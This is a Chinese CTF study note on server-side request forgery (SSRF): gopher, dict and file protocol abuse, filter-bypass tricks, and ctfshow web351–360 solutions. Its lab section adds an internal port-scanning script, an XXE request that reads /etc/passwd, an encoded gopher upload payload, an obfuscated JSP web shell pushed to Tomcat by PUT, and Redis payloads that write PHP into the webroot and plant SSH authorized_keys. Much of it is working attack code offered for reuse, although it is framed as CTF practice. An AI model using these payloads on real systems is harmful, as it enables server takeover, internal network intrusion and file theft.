CTF 题型 SSRF攻击例题总结
CTF 题型 SSRF攻击&例题总结
文章目录
- CTF 题型 SSRF攻击&例题总结
- Server-side Request Forgery 服务端请求伪造
- SSRF的利用面
- 1 任意文件读取 前提是知道要读取的文件名
- 2 探测内网资源
- 3 使用gopher协议扩展攻击面
- Gopher协议 (注意是70端口)
- python脚本(基于gopher转发监听)探测内网资源
- mysql 3306
- php-fpm
- php原生类进行ssrf
- SSSR攻击绕过
- 1.enclosed alphanumerics 绕过(特殊情况)
- 2 使用IP地址转换
- 3 系统特性绕过
- 4 302跳转
- 5 利用短网址绕过
- 6.重绑定攻击
- 7.域名解析A记录绕过
- 典型例题
- 补充
- 其他绕过127的方法
- 利用不存在的协议头绕过指定的协议头
- URL解析差异
- ctfshow SSRF 靶场通关
- web351
- web352
- web353
- web354
- web354
- **web355**
- **web356**
- **web357**
- web358
- web359
- web360
- 国关师傅的SSRF靶场通关
- 从基本原理理解(不用gopher-master)
SSRF攻击方式
Server-side Request Forgery 服务端请求伪造
概念:攻击者向服务端发送包含恶意url连接的请求,借由服务端发起请求
以便获取服务端网络内部的资源
总结:
控制服务端使用指定协议访问指定的url
SSRF的利用面
1 任意文件读取 前提是知道要读取的文件名
2 探测内网资源
127.0.0.1 mysql服务端监听了127.0.0.1这个地址,也就表示,只能通过127.0.0.1这个IP来访问 因此,我们只能通过SSRF 本地服务器转发请求,才可以请求MySQL服务
0.0.0.0 表示允许任意ip访问
3 使用gopher协议扩展攻击面
Gopher协议 (注意是70端口)
gopher://ip:70/_tcp数据流
/之后的第一个字符不会被读取所以写成/_便于区分
常用工具:https://github.com/tarunkant/Gopherus(生成数据时会自动编码一次)
易错:生成数据之后还要urlencode编码一次才可利用
原因: 数据流经过了两层服务器解析
存在SSRF漏洞的服务器编码一次,目标服务器编码一次,所以一共编码两次
Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用TCP
Gopher协议支持发出GET、POST请求,我们可以先截获GET请求包和POST请求包,再构造成符合Gopher协议请求的payload进行SSRF利用,甚至可以用它来攻击内网中的Redis、MySql、FastCGI等应用,这无疑大大扩展了我们的SSRF攻击面
Gopher协议格式
- 如果发起POST请求,回车换行需要使用
%0d%0a
来代替%0a
,如果多个参数,参数之间的&也需要进行URL编码
利用Gopher协议发送HTTP请求
步骤
注意这几个问题:
- 问号(?)需要转码为URL编码,也就是%3f
- 回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a(不用hackbar)
- 在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)
python脚本(基于gopher转发监听)探测内网资源
import requests#url = "http://127.0.0.1:3000/"ports = [21,22,80,443,3389,1433,3306,6379,8080,8088,3000,9000]#21 ftp
#22 ssh
#80 http
#443 https
#3389 rdp windows远程桌面
#1433 ms-sqlserver 默认端口
#3306 mysql 默认端口
#6379 redis 默认端口
#9000 php-fpm 默认端口 默认不打会污染环境
#8080 tomcat 默认端口
#ports=list(range(1, 10001))
for c in range(1,255):for p in ports:try:#data={"url":f"gopher://127.0.0.1:{p}/"}url=f"http://111.229.88.209:10000/?syc=gopher://172.17.0.{c}:{p}/"response = requests.get(url=url,timeout=2)except:with open ("client.txt","w") as f:f.write(f"172.17.0.{c}端口{p}开放")print(f"172.17.0.{c}端口{p}开放")
关键服务
apache/nginx 80
tomcat 8080
node 3000
flask 8080
php-fpm 9000
mysql 3306
ftp 21
ssh 22
redis 6379
mysql 3306
一般用户密码为空 才可利用
php-fpm
php-fpm 默认监听9000端口,而且只允许本机127.0.0.1这个地址访问
主要负责对.php文件的代码解释执行
我们可以通过向9000端口发送格式的请求,来让9000端口背后的php-fpm帮我们处理我们提交的php代码
通过向9000端口发送php执行请求
利用方法 php.ini
通过设置php.ini中的运行参数
其中使用 auto_append_file 来指定 php://input 包含恶意代码,然后执行
为了能使用auto_append_file参数,必须有一个存在的php文件来使用这个配置项
php原生类进行ssrf
s o a p = n e w S o a p C l i e n t ( soap = new SoapClient( soap=newSoapClient(_GET[‘url’]);
$soap->hack();
//$soap->__call()
url可控时,可以发送内网请求
SSSR攻击绕过
只要不允许它访问本地地址即可,也就是说,过滤的目的是,不让访问127.0.0.1地址
1.enclosed alphanumerics 绕过(特殊情况)
Enclosed Alphanumerics是一种Unicode字符集,其中包括被圆圈、括号或其他类型的封闭图形所包围的字母和数字。例如,数字 “1” 可以表示为 “①”。在某些情况下,攻击者可能会尝试使用这些特殊字符来绕过输入校验。
随附的字母数字[1]
官方 Unicode 联盟代码表(PDF)0 1 2 3 4 5 6 7 8 9 A 乙 C D 乙 F
U+246x ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯
U+247x ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿
U+248x ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏
U+249x ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟
U+24斧 ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯
U+24Bx ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ
U+24Cx Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
U+24Dx ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ
U+24Ex ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯
U+24Fx ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
127.0.0.1
127.⓿.⓿.1
2 使用IP地址转换
所有的域名->IP
ip可以使用不同进制来表示
127.0.0.1用不同进制可以表示为
- 2130706433 10进制 http://2130706433
- 017700000001 8进制 http://017700000001
- 7F000001 16进制 http://0x7F000001
还可以点分表示
3 系统特性绕过
Windows 下 0 代表的是0.0.0.0
而Linux 下 0 代表的是127.0.0.1
127.0.0.1 可以省略为 127.1
127。0。0。1 可以替代127.0.0.1
4 302跳转
可以发送http的协议。但是返回的location为其他协议
http://xxx.com/302.php?schema=gopher&host=127.0.0.1&port=9000&payload=xxxx
302脚本
<?php
$schema = $_GET['s'];
$ip = $_GET['i'];
$port = $_GET['p'];
$query = $_GET['q'];
if(empty($port)){ header("Location: $schema://$ip/$query");
} else {header("Location: $schema://$ip:$port/$query");
}
//?s=http&i=127.0.0.1&q=flag.php
5 利用短网址绕过
baidu.com 不允许出现baidu
或者限制了url长度,我们可以切换为短网址,来绕过长度的限制
http://rurl.vip/eW7AU
6.重绑定攻击
极其类似条件竞争 通过host合法验证后 TTL缓存失效后,DNS解析重定向到127.0.0.1
具体实现攻击
1.ceye.io注册绑定DNS重绑定127.0.0.1然后记得前面加r
访问r.自己分配的地址
2.DNS重绑定利用:https://lock.cmpxchg8b.com/rebinder.html
7.域名解析A记录绕过
将自己的域名A记录指向127.0.0.1
典型例题
题目禁止 localhost,0,1,。
方法有 三种
方法一:域名指向127
在自己的域名中添加一条A记录指向 127.0.0.1
或者使用 http://sudo.cc
这个域名就是指向127.0.0.1
方法二:302跳转
在自己的网站页面添加
<?phpheader("Location:http://127.0.0.1/flag.php");
重定向到127
方法三:DNS-Rebinding
自己去ceye.io注册绑定127.0.0.1然后记得前面加r
或者 https://lock.cmpxchg8b.com/rebinder.html
补充
其他绕过127的方法
- 如果目标代码限制访问的域名只能为
http://www.xxx.com
,那么我们可以采用HTTP基本身份认证的方式绕过。即@:http://www.xxx.com@www.evil.com http://www.evil.com/
- http://xip.io,当访问这个服务的任意子域名的时候,都会重定向到这个子域名,如访问:http://127.0.0.1.xip.io/flag.php时,实际访问的是http://127.0.0.1/1.php 像这样的网址还有
http://nip.io,http://sslip.io
- 短网址目前基本都需要登录使用,如缩我,https://4m.cn/
- 各种指向127.0.0.1的地址
利用不存在的协议头绕过指定的协议头
file_get_contents()
函数的一个特性,即当PHP的file_get_contents()
函数在遇到不认识的协议头时候会将这个协议头当做文件夹,造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件。(include()函数也有类似的特性)//路径穿越的原理
上面的代码限制了url只能是以https开头的路径,那么我们就可以如下:
此时file_get_contents()
函数遇到了不认识的伪协议头“httpsssss://”,就会将他当做文件夹,然后再配合目录穿越即可读取文件:
URL解析差异
1.readfile和parse_user函数解析差异绕过指定端口
上述代码限制了我们传过去的url只能是80端口的,但如果我们想去读取11211端口的文件的话,我们可以用以下方法绕过
可以成功读取11211端口flag.txt文件,原理如下图
两个函数解析host也存在差异
利用这种差异的不同,可以绕过题目中parse_url()函数对指定host的限制
2.利用curl和parse_url的解析差异绕过指定host
ctfshow SSRF 靶场通关
web351
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>
file:///etc/hosts 存在SSRF
直接 url=http://0/flag.php
Linux特性 0 可以代表 127.0.0.1
web352
url=http://0/flag.php
web353
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die('hacker');
}
}
else{die('hacker');
}
?> hacker
url=http://0x7F.0.0.1/flag.php
点分+进制转换
web354
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die('hacker');
}
}
else{die('hacker');
}
?> hacker
302跳转 但是我是裸ip…
web354
if(!preg_match('/localhost|1|0|。/i', $url))
方法一:域名指向127
在自己的域名中添加一条A记录指向 127.0.0.1
或者使用 http://sudo.cc
这个域名就是指向127.0.0.1
方法二:302跳转
在自己的网站页面添加
<?phpheader("Location:http://127.0.0.1/flag.php");
重定向到127
方法三:DNS-Rebinding
自己去ceye.io注册绑定127.0.0.1然后记得前面加r
url=http://r.xxxzc8.ceye.io/flag.php
or https://lock.cmpxchg8b.com/rebinder.html
web355
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die('hacker');
}
}
else{die('hacker');
}
?> hacker
url=http://0/flag.php
web356
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{die('hacker');
}
}
else{die('hacker');
}
?> hacker
url=http://0/flag.php
web357
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']); //ipv4地址
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {die('ip!');//
}echo file_get_contents($_POST['url']);
}
else{die('scheme');
}
?> scheme
url=http://r.t4ekuo.ceye.io/flag.php
dns重绑定 类似条件竞争
file_get_content = 远程include + SSRF
web358
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){echo file_get_contents($url);
}
poc
http://ctf.@127.0.0.1/flag.php?show //注意题干要求
web359
判断可以写入文件地址
无回显
写文件(运气)
web360
url=dict://0:6379/info
判断redis未授权
用gopherus写马
工具地址
https://github.com/tarunkant/Gopherus
redis写phpshell马
国关师傅的SSRF靶场通关
这是之前零星的笔记,内容不全,建议跳过
arp_sweep的原理
arp_sweep
是一个通常在本地网络(LAN)中使用的技术,用来发现活跃的设备。
即使host 80端口关闭,仍有arp协议解析
可以通过查看arp缓存表,判断内网存活主机
验证存在ssrf漏洞
file:///etc/passwd
查询C段
file:///etc/hosts
两个网段对应两个网卡
查看arp缓存表
file:///proc/net/arp
类似浏览器的历史记录,有过通信才有记录(目录默认是当前路径 / 不要忘)
如何有通信,bp发http包
不推荐,容易误判
kali自带comment目录
Untitled
http他爹
POST后不加换行
注意事项:(用hackerbar换行为%0a(不可以))
POST传参
remote_add不可伪造:考点SSRF
限制内网ip
vps挂302脚本
<?php
$schema = $_GET['s'];
$ip = $_GET['i'];
$port = $_GET['p'];
$query = $_GET['q'];
if(empty($port)){ header("Location: $schema://$ip/$query");
} else {header("Location: $schema://$ip:$port/$query");
}
//?s=http&i=127.0.0.1&q=flag.php
http://148.135.82.190/302.php?s=http&i=127.0.0.1&q=flag.php
DNS重绑定tool:https://lock.cmpxchg8b.com/rebinder.html
post name的键值 ip
xxe的验证回显(注意判断回显位)
<script type='text/javascript'>
function doLogin(){var username = $("#username").val();var password = $("#password").val();if(username == "" || password == ""){alert("用户名或密码不为空");return;}var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";//xxe的结构 $.ajax({type: "POST",url: "doLogin.php", //doLogin.phpcontentType: "application/xml;charset=utf-8", //定义content-type 类型data: data,dataType: "xml",anysc: false,success: function (result) {var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;if(code == "0"){swal("登录失败", "", "error");}else if(code == "1"){swal("登录成功", "", "success");}else{swal("系统错误", "", "success");}},});
}
</script>
构造验证包
POST /doLogin.php HTTP/1.1
Host: 172.250.250.6
Content-Length: 65
Content-Type: application/xml;charset=utf-8<user><username>admin</username><password>admin</password></user>
xxe攻击包
POST /doLogin.php HTTP/1.1
Host: 172.250.250.6
Content-Length: 117
Content-Type: application/xml;charset=utf-8<!DOCTYPE root[<!ENTITY a SYSTEM "file:///etc/passwd">]><user><username>&a;</username><password>&a;</password></user>
定义变量 (外部实体)
<!DOCTYPE root[<!ENTITY a SYSTEM "file:///etc/passwd">]>
-》 引用变量
回显位
&变量名;
hackerbar不会默认再次编码
submit也要提交
union select 合并查询(前者必须不返回值 如 -1)
浏览器中poc(本身会再编码一次 注意 + 换成 %20)
http://172.250.250.11/Less-1/?id=-1'%20union%20select%201,2,database()--%20
在URL中,有一些字符不能直接使用,因为它们在URL中具有特殊的意义或者在传输过程中可能会引起歧义。其中,空格( ``)是一个常见的特殊字符,因为在URL中直接使用空格会导致解析错误或者意外的结果。
因此,在URL的查询字符串(通常是GET请求中的参数部分)中,空格通常会被替换为+
符号或者%20
(空格在ASCII编码中的百分号编码形式)。
例如,如果你想通过GET请求传递hello world
这个短语作为一个查询参数的值,你需要在URL中这样写:
<http://www.example.com/search?q=hello+world>
或者使用%20
来替换空格:
<http://www.example.com/search?q=hello%20world>
这两种方式都是有效的,不过在某些情况下,服务器可能对这两种空格的替代方式会有不同的处理,因此具体使用哪种方式取决于服务器的期望。
为了形象化记忆这个知识点,可以想象URL是一列火车,而火车上的乘客(字符)都需要遵循特定的规则。空格就像是一个无票乘客,它不能直接上车,所以它需要化装成一个受欢迎的乘客(+或%20),这样才能顺利地加入到URL的旅途中。使用+或%20代替空格,就像是给空格穿上了合适的伪装,让它可以安全地通过网络传输。
类似文本分割符
poc
POST /Pass-01/index.php HTTP/1.1
Host: 172.250.250.14
Content-Length: 313
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOyskFkAOUUrZfcqR------WebKitFormBoundaryOyskFkAOUUrZfcqR
Content-Disposition: form-data; name="upload_file"; filename="phpinfo.php"
Content-Type: image/jpegGIF89a
<?php phpinfo();?>------WebKitFormBoundaryOyskFkAOUUrZfcqR
Content-Disposition: form-data; name="submit"上传
------WebKitFormBoundaryOyskFkAOUUrZfcqR--
payload
url=gopher%3A%2F%2F172.250.250.14%3A80%2F_%25%35%30%25%34%66%25%35%33%25%35%34%25%32%30%25%32%66%25%35%30%25%36%31%25%37%33%25%37%33%25%32%64%25%33%30%25%33%31%25%32%66%25%36%39%25%36%65%25%36%34%25%36%35%25%37%38%25%32%65%25%37%30%25%36%38%25%37%30%25%32%30%25%34%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%64%25%30%61%25%34%38%25%36%66%25%37%33%25%37%34%25%33%61%25%32%30%25%33%31%25%33%37%25%33%32%25%32%65%25%33%32%25%33%35%25%33%30%25%32%65%25%33%32%25%33%35%25%33%30%25%32%65%25%33%31%25%33%34%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%61%25%32%30%25%33%33%25%33%31%25%33%33%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%36%64%25%37%35%25%36%63%25%37%34%25%36%39%25%37%30%25%36%31%25%37%32%25%37%34%25%32%66%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%36%34%25%36%31%25%37%34%25%36%31%25%33%62%25%32%30%25%36%32%25%36%66%25%37%35%25%36%65%25%36%34%25%36%31%25%37%32%25%37%39%25%33%64%25%32%64%25%32%64%25%32%64%25%32%64%25%35%37%25%36%35%25%36%32%25%34%62%25%36%39%25%37%34%25%34%36%25%36%66%25%37%32%25%36%64%25%34%32%25%36%66%25%37%35%25%36%65%25%36%34%25%36%31%25%37%32%25%37%39%25%34%66%25%37%39%25%37%33%25%36%62%25%34%36%25%36%62%25%34%31%25%34%66%25%35%35%25%35%35%25%37%32%25%35%61%25%36%36%25%36%33%25%37%31%25%35%32%25%30%64%25%30%61%25%30%64%25%30%61%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%35%37%25%36%35%25%36%32%25%34%62%25%36%39%25%37%34%25%34%36%25%36%66%25%37%32%25%36%64%25%34%32%25%36%66%25%37%35%25%36%65%25%36%34%25%36%31%25%37%32%25%37%39%25%34%66%25%37%39%25%37%33%25%36%62%25%34%36%25%36%62%25%34%31%25%34%66%25%35%35%25%35%35%25%37%32%25%35%61%25%36%36%25%36%33%25%37%31%25%35%32%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%34%25%36%39%25%37%33%25%37%30%25%36%66%25%37%33%25%36%39%25%37%34%25%36%39%25%36%66%25%36%65%25%33%61%25%32%30%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%36%34%25%36%31%25%37%34%25%36%31%25%33%62%25%32%30%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%32%32%25%37%35%25%37%30%25%36%63%25%36%66%25%36%31%25%36%34%25%35%66%25%36%36%25%36%39%25%36%63%25%36%35%25%32%32%25%33%62%25%32%30%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%32%32%25%37%30%25%36%38%25%37%30%25%36%39%25%36%65%25%36%36%25%36%66%25%32%65%25%37%30%25%36%38%25%37%30%25%32%32%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%36%39%25%36%64%25%36%31%25%36%37%25%36%35%25%32%66%25%36%61%25%37%30%25%36%35%25%36%37%25%30%64%25%30%61%25%30%64%25%30%61%25%34%37%25%34%39%25%34%36%25%33%38%25%33%39%25%36%31%25%30%64%25%30%61%25%33%63%25%33%66%25%37%30%25%36%38%25%37%30%25%32%30%25%37%30%25%36%38%25%37%30%25%36%39%25%36%65%25%36%36%25%36%66%25%32%38%25%32%39%25%33%62%25%33%66%25%33%65%25%30%64%25%30%61%25%30%64%25%30%61%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%35%37%25%36%35%25%36%32%25%34%62%25%36%39%25%37%34%25%34%36%25%36%66%25%37%32%25%36%64%25%34%32%25%36%66%25%37%35%25%36%65%25%36%34%25%36%31%25%37%32%25%37%39%25%34%66%25%37%39%25%37%33%25%36%62%25%34%36%25%36%62%25%34%31%25%34%66%25%35%35%25%35%35%25%37%32%25%35%61%25%36%36%25%36%33%25%37%31%25%35%32%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%34%25%36%39%25%37%33%25%37%30%25%36%66%25%37%33%25%36%39%25%37%34%25%36%39%25%36%66%25%36%65%25%33%61%25%32%30%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%36%34%25%36%31%25%37%34%25%36%31%25%33%62%25%32%30%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%32%32%25%37%33%25%37%35%25%36%32%25%36%64%25%36%39%25%37%34%25%32%32%25%30%64%25%30%61%25%30%64%25%30%61%25%30%61%25%32%30%25%30%64%25%30%61%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%35%37%25%36%35%25%36%32%25%34%62%25%36%39%25%37%34%25%34%36%25%36%66%25%37%32%25%36%64%25%34%32%25%36%66%25%37%35%25%36%65%25%36%34%25%36%31%25%37%32%25%37%39%25%34%66%25%37%39%25%37%33%25%36%62%25%34%36%25%36%62%25%34%31%25%34%66%25%35%35%25%35%35%25%37%32%25%35%61%25%36%36%25%36%33%25%37%31%25%35%32%25%32%64%25%32%64
注意自己创建 upload 目录 且将 upload目录 chmod 777 upload(上传或创建被www-data执行就要改chmod shell上msf马子)
hackerbar自己做了一次urlencode编码
hackerbar不编码
& 是关键词 url编码后表示&进行传输
http在ssrf中编码一次即可,ssrf服务器会再自己编码一次(gopher tcp数据二次编码)
poc
从基本原理理解(不用gopher-master)
条件 :mysql+ php架构 dict://127.0.0.1:3306/info 判断未授权
show variables like ‘%secure%’ 类比 php open_basedir 环境(写可以写,但位置固定)
在 MySQL 数据库中,当你想查看与安全相关的配置变量时,可以使用 SHOW VARIABLES
这个 SQL 命令,配合 LIKE
子句进行模式匹配。你提到的命令 SHOW VARIABLES LIKE ‘%secure%’;
就是这样的一个用例。
这条命令的作用是列出所有名称里包含 “secure” 字样的系统变量及其值。这可以包括但不限于:
secure_auth
:当设置为ON
时,服务器将拒绝连接不使用密码的客户端或使用旧的(不安全的)密码格式的客户端。secure_file_priv
:用来限制LOAD DATA INFILE
、SELECT ... INTO OUTFILE
和LOAD_FILE()
函数所操作的文件路径。如果设置了特定的目录,那么这些操作只能在该目录内进行。have_ssl
或have_openssl
:指示服务器是否支持 SSL 加密连接。
当执行这个命令时,需要注意单引号使用的是直角引号(‘’),而不是通常编程中使用的单引号(’’)。这可能会导致语法错误,正确的命令应该使用标准单引号:
SHOW VARIABLES LIKE '%secure%';
这条命令可以为你提供一个关于数据库安全相关配置的快照,这些配置决定了数据库的安全性能表现。记住这个命令,就像记住家里常用的安全检查清单一样,定期查看这些设置,确保你的数据库安全配置是按照最佳实践来设置的。
无值可写
poc
PUT /shell.jsp/ HTTP/1.1
Host: 172.250.250.7:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 890<% String Ae8db = request.getParameter("1"); if(Ae8db!=null){Class<?> Ch7d = Class.forName(new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101}));java.lang.reflect.Method ED1oDQj3 = Ch7d.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class);Object G648X8DM = ED1oDQj3.invoke( Ch7d.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101})).invoke(null, new Object[]{}), new Object[]{Ae8db});java.lang.reflect.Method QDbW = G648X8DM.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));QDbW.setAccessible(true);java.util.Scanner s = new java.util.Scanner((java.io.InputStream) QDbW.invoke(G648X8DM, new Object[]{})).useDelimiter("\\A");String result = s.hasNext() ? s.next() : "";out.print("<pre>");out.print(result);out.print("</pre>");}else{} %>
poc
config set dir /var/www/html/
config set dbfilename phpinfo.php
set payload "<?php phpinfo();?>"
save
quit
//类似sql的堆栈注入
手动构造 redis tcp 数据流*4
$6
config
$3
set
$3
dir
$14
/var/www/html/
*4
$6
config
$3
set
$10
dbfilename
$11
phpinfo.php
*3
$3
set
$7
payload
$20
"<?php phpinfo();?>"
*1
$4
save
*1
$4
quit
poc
*4%0d%0A$6%0d%0Aconfig%0d%0A$3%0d%0Aset%0d%0A$3%0d%0Adir%0d%0A$14%0d%0A/var/www/html/%0d%0A*4%0d%0A$6%0d%0Aconfig%0d%0A$3%0d%0Aset%0d%0A$10%0d%0Adbfilename%0d%0A$11%0d%0Aphpinfo.php%0d%0A*3%0d%0A$3%0d%0Aset%0d%0A$7%0d%0Apayload%0d%0A$20%0d%0A"<%3Fphp phpinfo();%3F>"%0d%0A*1%0d%0A$4%0d%0Asave%0d%0A*1%0d%0A$4%0d%0Aquit
redis-cli
是 Redis 的命令行接口,用于与 Redis 服务器进行交互。该命令后面常常跟一系列参数来指定如何连接到 Redis 服务器。
当你执行命令 redis-cli -h 127.0.0.1
:
redis-cli
是启动 Redis 命令行接口的命令。h
参数用于指定 Redis 服务器的主机名或 IP 地址。127.0.0.1
是一个特殊的 IP 地址,表示本机地址(localhost),也就是说这条命令指示redis-cli
连接到本机上运行的 Redis 服务器。
执行这条命令后,如果 Redis 服务器在你的本机上运行并且监听默认端口(6379),redis-cli
将连接到这个 Redis 服务器,随后你可以输入各种 Redis 命令来操作数据库。
如果 Redis 服务器设置了不同的端口或者需要密码认证,你可以用 -p
参数来指定端口,用 -a
参数后跟密码来进行认证,例如:
- 指定端口:
redis-cli -h 127.0.0.1 -p 6380
- 指定密码:
redis-cli -h 127.0.0.1 -a yourpassword
记住,使用 redis-cli
时,确保你的 Redis 服务器正在运行,并且你的用户账户有足够的权限连接到 Redis 服务器。
判断是否未授权
dict://ip/info
替换换行 %0d%0A (代表编码一次)
问号url编码 %3F
poc
ssh-keygen -t rsa
authorized_keys
这里换行为一个字符 不用notepad+选取(两个字符,原因两个CRLF)
要清空 Redis 中的配置项,通常并没有直接的命令可以重置所有的配置为默认值。不过,你可以重启 Redis 服务来实现这一点,因为在 Redis 服务器启动时,它会从配置文件 redis.conf
加载配置项,而不是从内存中持久化的配置状态。
如果你想重置某个特定的配置项到它的默认值,你可以使用 CONFIG SET
命令,并指定相应的默认值。比如,如果你要重置 maxmemory
配置项到默认值,你可以根据它的默认值来设置(假设默认值是0,表示不限制内存使用):
CONFIG SET maxmemory 0
这个命令实际上是改变了当前运行的 Redis 服务器的配置项,但并不会影响 redis.conf
文件中的设置。在下一次重启 Redis 服务器时,配置项仍然会从 redis.conf
文件中加载。
如果你真的想从 redis.conf
文件中删除所有的配置设置,你需要手动编辑该文件,将其内容恢复到默认状态。默认的配置文件通常可以在 Redis 的源码目录中找到,或者你可以从 Redis 的官方网站或仓库中获取。
请注意,直接编辑配置文件或者清空配置项可能会影响 Redis 服务器的正常运行。在操作之前,请确保对配置文件和 Redis 服务的操作有适当的了解,并始终备份原有的配置文件,以便在出现问题时可以恢复。
另外,请确保处理完后重新加载配置或重启 Redis 服务,以使更改生效。重新加载配置文件的命令通常是:
redis-cli CONFIG REWRITE //重写config
此命令会将当前服务器的配置重写到配置文件中。如果你需要完全恢复默认配置,那么重启 Redis 服务可能是最简单的选择。这可以通过你的系统服务管理器完成,通常是使用 systemctl
或 service
命令,例如:
# 使用 systemctl(通常是较新的系统如 CentOS 7+ 或 Ubuntu 16.04+)
sudo systemctl restart redis# 使用 service 命令(较旧的系统)
sudo service redis restart
在任何操作之后,都可以使用 INFO
命令或 CONFIG GET
命令检查配置项的当前状态,以确保配置已按照预期更新。
poc
*4
$6
config
$3
set
$3
dir
$11
/root/.ssh/
*4
$6
config
$3
set
$10
dbfilename
$15
authorized_keys
*3
$3
set
$7
payload
